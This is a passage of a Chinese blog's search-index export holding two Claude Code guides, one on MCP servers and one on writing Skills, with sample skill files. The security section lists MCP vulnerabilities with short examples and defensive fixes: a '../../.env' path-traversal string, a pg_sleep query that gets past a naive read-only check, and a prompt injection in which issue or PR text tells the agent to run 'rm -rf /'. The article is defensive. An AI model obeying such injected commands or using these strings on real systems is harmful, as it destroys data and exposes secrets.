GitHub MCP PR 生命周期、Issue 管理、代码搜索 Agent 要交代码就得碰 GitHub Context7 实时拉最新版本文档 消除 AI 幻觉——不再用过期 API Filesystem MCP 限定目录的读写 比裸 Bash 安全，有目录隔离 ","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/:5:1","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":"4.2 按技术栈选 场景 Server 做什么 后端 Postgres / Supabase MCP 直连数据库，自然语言查 schema 测试 Playwright MCP（Microsoft） 无头浏览器，E2E 测试，UI 截图 前端 Figma MCP Design-to-Code，提取设计 tokens 排错 Sentry MCP 拉完整调用栈 + 上下文 管理 Linear / Jira MCP Ticket → PR 闭环 ","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/:5:2","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":"4.3 五 Server 黄金组合 GitHub + Filesystem + Context7 + Playwright + 你团队的 Tracker——覆盖 90% 日常场景，上下文消耗可控。 装太多会出问题——每个 Server 的 Tool 描述都要占上下文。社区反馈 15 个 Server 一开，30-40% 的窗口可能被 Tool 列表吃掉。五个刚好。 ","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/:5:3","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":"5. 安全：MCP 是把双刃剑 Tool 是能力的延伸，也是攻击面的扩展。一个 MCP Server 有文件系统权限 = Agent 可能被诱导删掉你的项目。这不是危言耸听。 ","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/:6:0","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":"5.1 五层防御模型 L5 · 审计与可观测性结构化日志 / OpenTelemetry / SIEM / 不可篡改审计追踪L4 · 人在回路（Human-in-the-Loop）敏感操作需用户实时审批 / 时效令牌 / 操作前二次确认L3 · 输入输出清洗参数校验 / 路径消毒 / SQL 注入防御 / PII 脱敏 / 出站代理过滤L2 · 最小权限Tool 级 RBAC / 只读模式 / 拒绝优先 + 显式白名单 / 参数范围限制L1 · 认证 — OAuth 2.1 + PKCE / 短效令牌 / 服务端签名验证 不是每个个人项目都要五层拉满。但至少做到前两层： L1 — 认证。 不用共享 API Key。每个请求带独立身份，用短效令牌。stdio 模式天然隔离（只有本地进程能连），但 HTTP 模式必须上 OAuth。 L2 — 最小权限。 文件系统 Server 限定目录，数据库 Server 用只读账号。拒绝优先——不声明能做什么，声明不能做什么。 ","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/:6:1","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":"5.2 四大常见漏洞 命令注入。 Server 里拼接用户输入到 shell 命令——头号漏洞。GitHub Kanban MCP、iOS Simulator MCP 都摔在这。修法：用 execFile() 代替 exec()，永远不把 LLM 输出当安全输入。 路径遍历。 ../../.env 读你的密钥。修法：path.resolve() 后验证结果在允许目录内。 伪只读绕过。 很多 DB Server 用 query.startsWith(\"SELECT\") 判断只读——SELECT pg_sleep(100) 轻松绕过。修法：数据库级权限（建只读用户），不靠应用层校验。 提示注入。 外部内容（Issue 标题、PR 描述）可能包含\"请执行 rm -rf /“的指令。修法：Tool 内部对模型传入的参数做二次校验，敏感操作强制人工确认。 ","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/:6:2","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":"5.3 安全底线 三条铁律： LLM 的输出不可信。 Tool 收到的参数来自模型推理，模型可能被注入、可能幻觉。永远校验。 只读比读写安全十倍。 不确定就开只读。宁可多写一个 Tool 也不要用一个万能的。 生产数据一律隔离。 指向生产库的 MCP Server——别写。用副本，用沙箱，至少用只读副本。 ","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/:6:3","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":"6. MCP 的边界：输出不可控 安全防御拉满，Tool 描述写到极致——还有一个根本限制绕不过去：LLM 的输出不可控。 编译器有形式语义——源码→词法分析→语法树→代码生成，每一步可证明。你的 TypeScript 编译成什么 JS，只要编译器没 bug，结果是确定的。 LLM 选 Tool 不是这么回事。同样的输入，不同的上下文、不同的 temperature、甚至不同的随机种子——模型可能调 get_weather，也可能觉得不需要调，自己编一个温度。 这意味着什么？ 你没法保证 Tool 一定被正确调用。只能最大化正确调用的概率。 本文 3.5 节写的所有技巧——描述精确到能做什么不能做什么、参数带例子、写完换说法测试——本质上都是在提高这个概率。不是在提供保证。 这也解释了为什么安全要做五层防御：因为上层（Tool 描述精确度）只能逼近 100%，永远到不了 100%。L1 认证、L2 最小权限、L3 输入清洗……每一层都是对上层的兜底。模型可能选错 Tool、传错参数、被注入诱导——但只要你校验了输入、限制了权限、隔离了数据，错了也炸不到你。 接受这个边界，MCP 才不是玩具。 而 Workflows——Claude Code 5 月底刚出的多 Agent 编排引擎——走的是另一条路：既然单次输出不可控，就用多个独立 Agent 交叉验证、对抗审查、锦标赛选优，把概率压到无限逼近确定。那是下一篇的事了。 ","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/:7:0","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":"7. 常见坑 真实开发中踩过的： ","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/:8:0","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":"stdio 日志消失 console.log() 会污染 JSON-RPC 通道，现象是 Claude Code 报 “Unexpected token” 然后 Server 断开。全换 console.error()——只有 stderr 安全。 ","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/:8:1","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":"Tool 太多，Claude Code 变傻 每个 Tool 的描述占上下文。装了 GitHub MCP 完整版（46+ Tool）+ 几个大 Server，Claude Code 开会话先吞掉 30-40% 窗口。控制在 5 个以内，优先选远程托管版（Tool 更少、更聚焦）。 ","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/:8:2","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":"环境变量不生效 .mcp.json 里的 env 字段可以传环境变量： { \"mcpServers\": { \"my-server\": { \"command\": \"node\", \"args\": [\"server.js\"], \"env\": { \"API_KEY\": \"${MY_API_KEY}\" } } } } 注意 ${} 语法引用的是宿主机环境变量，不是 Claude Code 的。配错了 Server 静默失败。 ","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/:8:3","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":"npx 每次都装 npx tsx 每次启动会检查更新，拖慢启动速度。生产级 Server 用 node dist/index.js，先 tsc 编译好再跑。 ","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/:8:4","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":"8. 结语：四层凑齐了 回过头来看这个系列现在覆盖了 Claude Code 的完整技术栈： 层 主题 核心问题 核心答案 ① Tool MCP 能做什么？ 内置 + 自定义 MCP Tool——原子能力 ② Plugin 插件 装什么？ 装备——压缩输出、记忆复用、语义搜索 ③ Hooks Hooks 什么时候触发？ 事件驱动，自动执行 ④ Skill Skill 怎么做？ 方法论——行为编码，经验模块化 从底层 Tool（MCP 扩展）到顶层 Skill（行为契约），四层叠在一起：Tool 给手脚，Plugin 给装备，Hooks 给神经反射，Skill 给大脑皮层。 装完插件，配好 Hooks，写好 Skill，再写两个自己用的 MCP Server——Claude Code 不再是个\"终端里的 AI 助手”，你是在用它搭自己的开发平台。 感谢阅读。 ","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/:9:0","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":"深入拆解 Claude Code 的 Skill 体系：从 Superpowers 的 TDD skill 源码级解剖到 CLAUDE.md 定制，从加载机制到设计原则。读完你会理解什么是好的 Skill，怎么写一个，以及为什么 Skill 是 AI 编程工具链的最后一块拼图。","date":"2026-06-09","objectID":"/posts/2026/06/09/claude-code-skills-guide/","tags":["tech","ai","claude code","skill","development tools"],"title":"Claude Code Skills 深度解析：把经验写成可复用的知识模块","uri":"/posts/2026/06/09/claude-code-skills-guide/"},{"categories":["Tech"],"content":" 插件给能力，Hooks 给自动化，Skill 给的是方法论。三层递进，打造 AI 编程的完整技术栈。 ","date":"2026-06-09","objectID":"/posts/2026/06/09/claude-code-skills-guide/:0:0","tags":["tech","ai","claude code","skill","development tools"],"title":"Claude Code Skills 深度解析：把经验写成可复用的知识模块","uri":"/posts/2026/06/09/claude-code-skills-guide/"},{"categories":["Tech"],"content":"前言 《Claude Code 插件完全指南》 讲了\"用什么\"——四个插件一个 MCP，token 消耗直降 70-80%。 《Claude Code Hooks 完全指南》 讲了\"怎么自动化\"——九种 Hook 类型，十一个妙用场景，事件驱动一切。 本文讲第三层：Skill——怎么把经验写成可复用的知识模块。 插件是外挂装备，Hooks 是自动触发器，Skill 是方法论本身。把\"怎么做一个事\"的经验提炼成结构化指令，让 AI 在遇到同类任务时自动加载执行——这就是 Skill。 ","date":"2026-06-09","objectID":"/posts/2026/06/09/claude-code-skills-guide/:1:0","tags":["tech","ai","claude code","skill","development tools"],"title":"Claude Code Skills 深度解析：把经验写成可复用的知识模块","uri":"/posts/2026/06/09/claude-code-skills-guide/"},{"categories":["Tech"],"content":"1. 什么是 Skill？一个三层模型 把 AI 编程工具的能力想象成三层： ①Plugin / MCP能力边界 — 能做什么提供文件系统、终端、搜索等基础工具。没有这层，上面全是空谈。②Hooks自动化 — 什么时候触发在正确的时间触发正确的事。但不告诉模型\"怎么做\"。③Skill方法论 — 怎么做本文主题定义一套规范：做 A 类任务时，先干啥、再干啥、不能干啥。这是行为编码。 第一层是能力边界：没有文件系统，什么都白搭。插件和 MCP 负责这层。 第二层是自动化：Hooks 在正确的时间做正确的事。但不告诉模型\"怎么做\"。 第三层是方法论：Skill 定义一套规范——“做 A 类任务时，先干啥、再干啥、不能干啥”。这不是自动化，是行为编码。 一个类比： 层 类比 例子 Plugin/MCP 给你一个工具箱 read_file、terminal、写文件 Hooks 定时拿起工具 “改完代码自动格式化” Skill 说明书里的操作规范 “修 bug：先写复现测试，再定位根因，再修，再验证” 三层缺一不可。有工具箱没说明书，乱敲。有说明书没自动化，手忙脚乱。 ","date":"2026-06-09","objectID":"/posts/2026/06/09/claude-code-skills-guide/:2:0","tags":["tech","ai","claude code","skill","development tools"],"title":"Claude Code Skills 深度解析：把经验写成可复用的知识模块","uri":"/posts/2026/06/09/claude-code-skills-guide/"},{"categories":["Tech"],"content":"2. Superpowers 的 Skill 体系 Superpowers 插件提供了 15+ 个 Skill，覆盖完整开发流程： 阶段 Skill 做什么 规划 brainstorming 苏格拉底式需求澄清 writing-plans 把需求拆成 2-5 分钟小任务 实现 test-driven-development 强制 RED-GREEN-REFACTOR executing-plans 按计划批量执行 subagent-driven-development 子 agent 并行开发 审查 requesting-code-review 对照计划审查 receiving-code-review 接收反馈 收尾 finishing-a-development-branch 验证、合并、PR 这些不是简单的提示词片段。每个 Skill 是一套完整的行为契约——定义了 Agent 在特定情境下必须遵守的规则、步骤和边界。 ","date":"2026-06-09","objectID":"/posts/2026/06/09/claude-code-skills-guide/:3:0","tags":["tech","ai","claude code","skill","development tools"],"title":"Claude Code Skills 深度解析：把经验写成可复用的知识模块","uri":"/posts/2026/06/09/claude-code-skills-guide/"},{"categories":["Tech"],"content":"2.1 加载机制：Skill 是怎么\"活\"起来的 Superpowers 用了三个 Hook 来实现 Skill 的加载和生命周期管理： Hook 时机 Skill 用途 SessionStart 会话启动 把所有 Skill 的名称和描述注入上下文 UserPromptSubmit 用户每次发消息 检测意图，匹配对应 Skill Stop Agent 准备结束 验证 Skill 要求的检查点是否完成 关键在 UserPromptSubmit：用户说\"帮我修个 bug\"，Superpowers 检测到 debug 意图，自动加载 systematic-debugging Skill。用户不需要敲 /debug，不需要记 Skill 名。意图匹配 → 自动加载 → 强制执行。 这和传统 IDE 的快捷键完全不同——不是\"你按哪个键我就做哪个事\"，而是\"你说了什么，我理解你要做什么，然后按正确的方式做\"。 SessionStart注册元信息UserPromptSubmit意图匹配加载 Skill注入完整内容执行规则按 Skill 行事Stop验证闭环Hook 事件驱动链：注册 → 匹配 → 加载 → 执行 → 验证，缺一环 Skill 就不完整 ","date":"2026-06-09","objectID":"/posts/2026/06/09/claude-code-skills-guide/:3:1","tags":["tech","ai","claude code","skill","development tools"],"title":"Claude Code Skills 深度解析：把经验写成可复用的知识模块","uri":"/posts/2026/06/09/claude-code-skills-guide/"},{"categories":["Tech"],"content":"2.2 命令行入口：/skills 和 /writing-skills Superpowers 不只是被动匹配意图加载 Skill，它还给用户提供了显式的命令行控制： /skills — 列出所有可用 Skill。Agent 会回复一个清单，标注每个 Skill 的用途和适用场景。刚装完 Superpowers 不知道它有什么能力？敲 /skills。 /writing-skills — 创建新 Skill 的最佳实践指南。当你告诉 Claude Code “帮我写一个 Skill 做 X”，Superpowers 会加载这个指南，确保写出来的 Skill 符合规范——铁律开头、反驳预判、验证闭环。相当于 Skill 的 Skill。 ","date":"2026-06-09","objectID":"/posts/2026/06/09/claude-code-skills-guide/:3:2","tags":["tech","ai","claude code","skill","development tools"],"title":"Claude Code Skills 深度解析：把经验写成可复用的知识模块","uri":"/posts/2026/06/09/claude-code-skills-guide/"},{"categories":["Tech"],"content":"2.3 /run-skill-generator：Anthropic 官方的 Skill 工厂 除了 Superpowers 提供的方法论指南，Claude Code 还内置了 /run-skill-generator——Anthropic 官方维护的 Skill 创建器（开源仓库 github.com/anthropics/skills，位于 skill-creator/ 目录）。 它不是一个简单的\"你说需求我生成\"机器人，而是一个结构化的 Skill 开发流程向导： 核心流程：明确目标 → 编写草稿 → 定义测试 → 评估结果 → 迭代优化。每一轮都有量化的品质评估，不是生成就完事。 结构化管理：自动生成标准 Skill 目录结构——SKILL.md 主文件 + scripts/ 脚本 + references/ 参考文档 + assets/ 模板资源。 智能优化：能分析 Skill 的触发失败案例，自动重写 description 字段，提升被正确激活的概率。这是它最特别的功能——Skill 写完不是死的，它会学习、会进化。 原理基础：底层依赖渐进式披露（Progressive Disclosure）——Claude 平时只加载 Skill 的名称和简介，仅在判断需要时完整加载。和 2.1 节的三 Hook 加载机制完全一致。 ","date":"2026-06-09","objectID":"/posts/2026/06/09/claude-code-skills-guide/:3:3","tags":["tech","ai","claude code","skill","development tools"],"title":"Claude Code Skills 深度解析：把经验写成可复用的知识模块","uri":"/posts/2026/06/09/claude-code-skills-guide/"},{"categories":["Tech"],"content":"2.4 Skill 的物理形态 一个 Skill 就是一个 Markdown 文件。以 TDD Skill 为例，它的结构长这样： # Test-Driven Development (TDD) ## Overview Write the test first. Watch it fail. Write minimal code to pass. ## When to Use Always: New features, bug fixes, refactoring ## The Iron Law NO PRODUCTION CODE WITHOUT A FAILING TEST FIRST ## Red-Green-Refactor Cycle ### RED — Write Failing Test ### Verify RED — Watch It Fail ### GREEN — Minimal Code ### Verify GREEN — Watch It Pass ### REFACTOR — Clean Up ## Why Order Matters \"Tests after code pass immediately. Passing immediately proves nothing.\" ## Common Rationalizations | Excuse | Reality | | \"I'll test after\" | Tests passing immediately prove nothing | ## Red Flags If you catch yourself doing any of these, delete the code: - Code before test - Test passes immediately on first run - Rationalizing \"just this once\" ## Verification Checklist - [ ] Every new function has a test - [ ] Watched each test fail before implementing 注意几个关键设计： 1. 铁律在最前面。NO PRODUCTION CODE WITHOUT A FAILING TEST FIRST——Agent 看到的第一条就是不可违背的规则。不是\"最好这样做\"，是\"不这样做就删代码重来\"。 2. 反驳预判。Skill 不只是告诉 Agent 怎么做，还预判了 Agent 可能会找什么借口。“I’ll test after”、“Too simple to test”、“TDD will slow me down”——这些都是真实的人（和 AI）会出现的合理化借口。Skill 提前堵死了。 3. 红牌机制。Red Flags 章节列出\"这样做就等于没遵守规则\"的信号。Agent 可以对照自查：我是不是在找借口？ 4. 检查清单。Skill 的最后是 Checklist——不是给用户看的，是给 Agent 自检的。每次任务结束前对照检查，没打勾就意味着没做完。 这套设计哲学比 Skill 的内容本身更重要。它回答了：“怎么让一个 LLM 可靠地按照你的方法做事？” ","date":"2026-06-09","objectID":"/posts/2026/06/09/claude-code-skills-guide/:3:4","tags":["tech","ai","claude code","skill","development tools"],"title":"Claude Code Skills 深度解析：把经验写成可复用的知识模块","uri":"/posts/2026/06/09/claude-code-skills-guide/"},{"categories":["Tech"],"content":"3. 两种路径：手写与蒸馏 上面拆解了 Skill 的结构。现在来真的：怎么产出你自己的 Skill？ 有两条路。 ","date":"2026-06-09","objectID":"/posts/2026/06/09/claude-code-skills-guide/:4:0","tags":["tech","ai","claude code","skill","development tools"],"title":"Claude Code Skills 深度解析：把经验写成可复用的知识模块","uri":"/posts/2026/06/09/claude-code-skills-guide/"},{"categories":["Tech"],"content":"3.1 路径一：手写 你很清楚自己要什么规则——“每次 review Python 代码，检查类型注解、异常处理、资源关闭”。你对 Agent 可能偷懒的地方有预判。坐下来直接写，像前面的 TDD Skill 一样，铁律开头、反驳预判、红牌收尾。 这条路适合： 规则在你脑子里已经成型 你想精确控制每个措辞、每个反驳、每个红牌 不信任 AI 代笔——你比 AI 更清楚 Agent 会怎么偷懒 你可以裸写，也可以借助 /writing-skills（Superpowers）或直接让 Claude Code 帮你生成——它们都会按规范帮你生成结构化的 Skill 文件。区别只是谁来驱动：手写是你驱动规则，AI 辅助是 AI 驱动格式。前者你写内容、AI 排版；后者你描述需求、AI 写全部。 来看一个手写的实际例子。 假设你要写一个 Python 代码审查 Skill。 第一版，凭直觉写： # Python Code Review Please review Python code carefully. Check: - Type hints - Exception handling - Resource management Be thorough. 放进 .claude/skills/，试一下。结果：有时只检查类型忽略了异常处理，有时一句 “looks good” 糊弄过去。太软了。 Agent 会偷懒。 回头看 TDD Skill 的设计，第二版改成了硬约束： # Python Code Review ## When to Use After every file modification. Before claiming work is done. ## Mandatory Checks ### 1. Type Annotations — ALL public functions For EVERY function with `def f(x):` signature, check: - [ ] Parameters have type annotations - [ ] Return type specified `-\u003e Type` - [ ] No `Any` (use `object` or generic) If ANY function lacks type hints, report it. Do NOT approve. ### 2. Exception Handling — ALL I/O For EVERY `open()`, `requests.`, `socket.`, `subprocess.`: - [ ] Wrapped in try/except with specific exception types (not bare `except:`) - [ ] Exception is logged or re-raised with context - [ ] Resources cleaned up in `with` or `finally` ### 3. Resource Management — ALL file/connection opens For EVERY file handle, DB connection, network socket: - [ ] Uses `with` statement OR explicit `.close()` in `finally` ## Output Format ### Type Annotations: N/M checked, K issues - Line 42: missing return type on `get_user()` ### Exception Handling: ok / issues ### Resource Management: ok / issues **Verdict:** PASS / NEEDS FIX ## Red Flags - \"Looks good overall\" → you didn't check line by line - \"Code is simple\" → simplicity doesn't excuse missing types - \"Existing code also lacks types\" → we're improving it now ## After Review If PASS: mark task complete. If NEEDS FIX: list specific changes required. 对比第一版和第二版： 第一版 第二版 改了啥 “Please review” “Mandatory Checks” 软请求 → 硬规则 “Check type hints” “For EVERY function, check annotations/return type/Any” 模糊 → 精确 无输出规范 固定报告模板 Agent 没法用 “looks good” 糊弄 无 Red Flags 三条自检 预判合理化借口 无后续动作 “After Review” 定义完成标准 核心原则：Skill 不是建议，是约束。 手写的好处就在这里——你知道 Agent 哪句话是在偷懒，你能提前堵死。这是 AI 代笔做不到的精细度。 ","date":"2026-06-09","objectID":"/posts/2026/06/09/claude-code-skills-guide/:4:1","tags":["tech","ai","claude code","skill","development tools"],"title":"Claude Code Skills 深度解析：把经验写成可复用的知识模块","uri":"/posts/2026/06/09/claude-code-skills-guide/"},{"categories":["Tech"],"content":"3.2 路径二：蒸馏 另一条路更\"懒\"—— Perl 之父 Larry Wall 说过，程序员有三种美德： 懒惰、急躁、傲慢。 排名第一的是懒惰。不是躺平——而是： “懒惰会驱使你写省力的程序，让你宁愿花三小时自动化一件只需要十分钟的重复劳动。” 这听起来不理性。花三小时省十分钟？但 Larry Wall 比大多数人更早意识到：重复是效率的死敌，而懒惰是对重复最健康的反应。 你花三小时写一个自动化脚本，省下的不止十分钟——你省下了未来每一次重复的十分钟。一个月省五小时，一年省六十小时。 Skill 就是这个逻辑。你花三十分钟让 Claude Code 把刚做完的一个项目的经验蒸馏成 Skill，下个项目遇到同类任务就不再重复试错。 蒸馏路径的关键工具就是 Claude Code 本身。你向它描述需求，它读你的项目历史，然后生成结构化 Skill。不需要特殊命令——就用对话。 三种蒸馏原料 不是只蒸馏你自己。蒸馏有三种原料，对应三层经验： 原料 蒸馏什么 例子 蒸馏自己 你反复纠正 AI 的规则、你的判断偏好 “别在函数里 SessionLocal()，用 Depends” 蒸馏 AI AI 在项目中长出来的模式、试探出的边界 AI 发现你总在路由最后加 raise HTTPException，自动归纳 蒸馏项目实践 具体项目的踩坑经验、技术选型理由 “这个库的 batch_insert 比 add_all 快 10 倍” 三种原料混在一起蒸，出来的 Skill 比你手写的更完整——因为手写只能覆盖你知道的东西，蒸馏能抓到你自己都没意识到的模式。 举个例子： 假设你刚用 Claude Code 做完一个 FastAPI 项目——写了十几个路由、几十个 pydantic model、一堆数据库迁移。过程中你发现： 每次写路由，都要强调\"别忘了 dependency injection\" 每次写 model，都要提醒\"字段加 Field(description=…)\" 每次写 migration，都要检查\"alembic revision 有没有 –autogenerate\" 每次写完改完，都要手动跑 pytest -x --cov 这些是你在这个项目里反复纠正 Claude Code 的东西。项目做完了，经验在你脑子里，但 Claude Code 不知道。 这时候你对 Claude Code 说： 从这个项目中学到的 FastAPI 开发规范，帮我写成一个 Skill。 Claude Code 读了你的 CLAUDE.md、git log、会话历史（如果你的 claude-mem 开着），然后生成一个 Skill： # FastAPI Development ## When to Use Any task involving FastAPI route, model, or migration changes. ## Mandatory Rules ### Routes - [ ] Use dependency injection: `db: Session = Depends(get_db)` - [ ] Return type annotated: `-\u003e dict[str, Any]` - [ ] HTTPException with detail message, not bare 500 - [ ] Validate path parameters with `Path(...)` not raw int ### Pydantic Models - [ ] Every field has `Field(description=\"...\")` - [ ] Response model inherits from `BaseModel`, not dict - [ ] Use `model_config = ConfigDict(from_attributes=True)` for ORM ### Database Migrations - [ ] Run `alembic revision --autogenerate -m \"describe change\"` - [ ] Check generated migration file for correctness - [ ] Run `alembic upgrade head` and verify ### After Every Change - [ ] Run `pytest -x --cov` — ALL tests must pass - [ ] Run `ruff check .` — zero lint errors - [ ] If any fail, fix before claiming done ## Red Flags - \"Looks good\" without running tests → you didn't verify - Skipping migration when model changed → schema will drift - Raw `dict` response instead of pydantic model → bypasses validation ## Commit Convention Use conventional commits: `feat:`, `fix:`, `refactor:`, `test:` 这不是你写的。是 Claude Code 从你的项目历史里提炼出来的。你纠正过它的模式、你强调过的规则、你重复过三遍以上的要求——全被蒸馏进了这个 Skill。 ","date":"2026-06-09","objectID":"/posts/2026/06/09/claude-code-skills-guide/:4:2","tags":["tech","ai","claude code","skill","development tools"],"title":"Claude Code Skills 深度解析：把经验写成可复用的知识模块","uri":"/posts/2026/06/09/claude-code-skills-guide/"},{"categories":["Tech"],"content":"3.3 两条路怎么选 手写 蒸馏 起点 脑子里有规则 项目里有经验 优势 精确控制措辞，预判偷懒点 从真实摩擦中提取，不漏 劣势 可能遗漏你没意识到的坑 需要审查，AI 可能过拟合 适合场景 规范明确、你很清楚要什么 做完项目后发现\"下次得记住这个\" 工具 裸写；也可让 Claude Code 辅助排版 直接对话生成；/writing-skills 提供规范参考 ","date":"2026-06-09","objectID":"/posts/2026/06/09/claude-code-skills-guide/:4:3","tags":["tech","ai","claude code","skill","development tools"],"title":"Claude Code Skills 深度解析：把经验写成可复用的知识模块","uri":"/posts/2026/06/09/claude-code-skills-guide/"},{"categories":["Tech"],"content":"3.4 蒸馏流程三步走 项目完成 ↓ ① 复盘：告诉 Claude Code \"从这个项目中学到的规范，写成 Skill\" 它读 CLAUDE.md + git log + 会话历史 ↓ ② 审查：删掉过拟合的规则（\"这个项目用 SQLite，但别把 SQLite 写进 Skill\"） 保留跨项目通用的部分 ↓ ③ 复用：下个同类项目启动时，Skill 已自动加载 不需要重新纠正 Claude Code 第一步是关键。很多人做完项目就关终端了。但最有价值的不是代码本身——代码可能下个项目用不上——而是你在这个项目里建立的协作模式。 一个例子：你在 Cenacle 项目里反复纠正 Claude Code “用 FastAPI 的 Depends 而不是在函数里 SessionLocal()\"。这个纠正本身不值一提——但你如果没把它蒸馏成 Skill，下个 FastAPI 项目 Claude Code 还会犯同样的错。你又得纠正一遍。 蒸馏一次 = 未来所有项目自动正确。 ","date":"2026-06-09","objectID":"/posts/2026/06/09/claude-code-skills-guide/:4:4","tags":["tech","ai","claude code","skill","development tools"],"title":"Claude Code Skills 深度解析：把经验写成可复用的知识模块","uri":"/posts/2026/06/09/claude-code-skills-guide/"},{"categories":["Tech"],"content":"3.5 什么时候该蒸馏 不是每个项目都值得蒸馏。判断标准： 同类项目还会再做吗？ → 蒸馏。比如 FastAPI 项目、Hugo 博客文章、ESP32 固件。 踩过三个以上的坑吗？ → 蒸馏。纠正三次以上的模式 = Claude Code 的学习盲区，Skill 覆盖。 一次性脚本？ → 不蒸馏。写完就扔的东西不值得。 一个健康的节奏：每完成一个项目或阶段性里程碑，花 10 分钟做一次蒸馏。一个月后，你会有 5-10 个高质量 Skill，覆盖你 90% 的日常任务类型。每个新项目不再从零纠正 Claude Code——Skill 已经帮你纠正好了。 这就是 Larry Wall 说的\"懒惰”。宁愿花三十分钟蒸馏经验，也不在未来的每个项目里重复纠正同样的错。 ","date":"2026-06-09","objectID":"/posts/2026/06/09/claude-code-skills-guide/:4:5","tags":["tech","ai","claude code","skill","development tools"],"title":"Claude Code Skills 深度解析：把经验写成可复用的知识模块","uri":"/posts/2026/06/09/claude-code-skills-guide/"},{"categories":["Tech"],"content":"4. CLAUDE.md 与 Skill 的区别 很多人把 CLAUDE.md 当 Skill 用——在项目根目录写一堆规则。但两者有本质区别： CLAUDE.md Skill 作用域 项目级，常驻 任务级，按需加载 加载时机 会话启动时 意图匹配时 内容 项目背景、架构、约定 任务方法论、步骤、检查点 大小 几十行到几百行 几十行（越短越好） 目的 “这个项目长这样” “这个任务这么做” CLAUDE.md 告诉你\"在哪\"： # Project: Cenacle - Python + FastAPI + React - 测试: pytest, 前端: npm test - DB: SQLAlchemy + SQLite - 端口: 9100 - 部署: daemon.py 管理 Skill 告诉你\"怎么做\"： # TDD Write test first. Watch it fail. Write minimal code. Refactor. 什么时候用哪个？ 让 Agent 理解项目是什么 → CLAUDE.md 让 Agent 理解任务该怎么做 → Skill 一个项目可以有一个 CLAUDE.md 和很多个 Skill 两者配合的例子： CLAUDE.md 告诉 Agent “数据库用 SQLAlchemy ORM + SQLite，测试用 pytest”。当一个 code-review Skill 被触发时，Agent 已经知道项目的技术栈，Skill 只需要关注审查规则本身。CLAUDE.md 提供上下文，Skill 提供方法论——各司其职，不重复不冲突。 Skill 也可以按项目配置。 放在项目目录 .claude/skills/ 下的 Skill 只在进入该项目时加载，离开就不可见；放在 ~/.claude/skills/ 下的是全局 Skill，所有项目通用。比如 sticks3-dev 放 ESP32 项目里——写其他项目时它不会跳出来。CLAUME.md 描述\"这个项目是什么\"，项目 Skill 描述\"在这个项目里怎么做特定任务\"——两者天然一对。 ","date":"2026-06-09","objectID":"/posts/2026/06/09/claude-code-skills-guide/:5:0","tags":["tech","ai","claude code","skill","development tools"],"title":"Claude Code Skills 深度解析：把经验写成可复用的知识模块","uri":"/posts/2026/06/09/claude-code-skills-guide/"},{"categories":["Tech"],"content":"5. 好的 Skill 长什么样 —— 五条设计原则 拆了几个 Skill，也写了一个，总结出五条规律： ","date":"2026-06-09","objectID":"/posts/2026/06/09/claude-code-skills-guide/:6:0","tags":["tech","ai","claude code","skill","development tools"],"title":"Claude Code Skills 深度解析：把经验写成可复用的知识模块","uri":"/posts/2026/06/09/claude-code-skills-guide/"},{"categories":["Tech"],"content":"原则一：铁律开头，不留灰色地带 Skill 的第一条内容必须是不可妥协的规则。 好：NO PRODUCTION CODE WITHOUT A 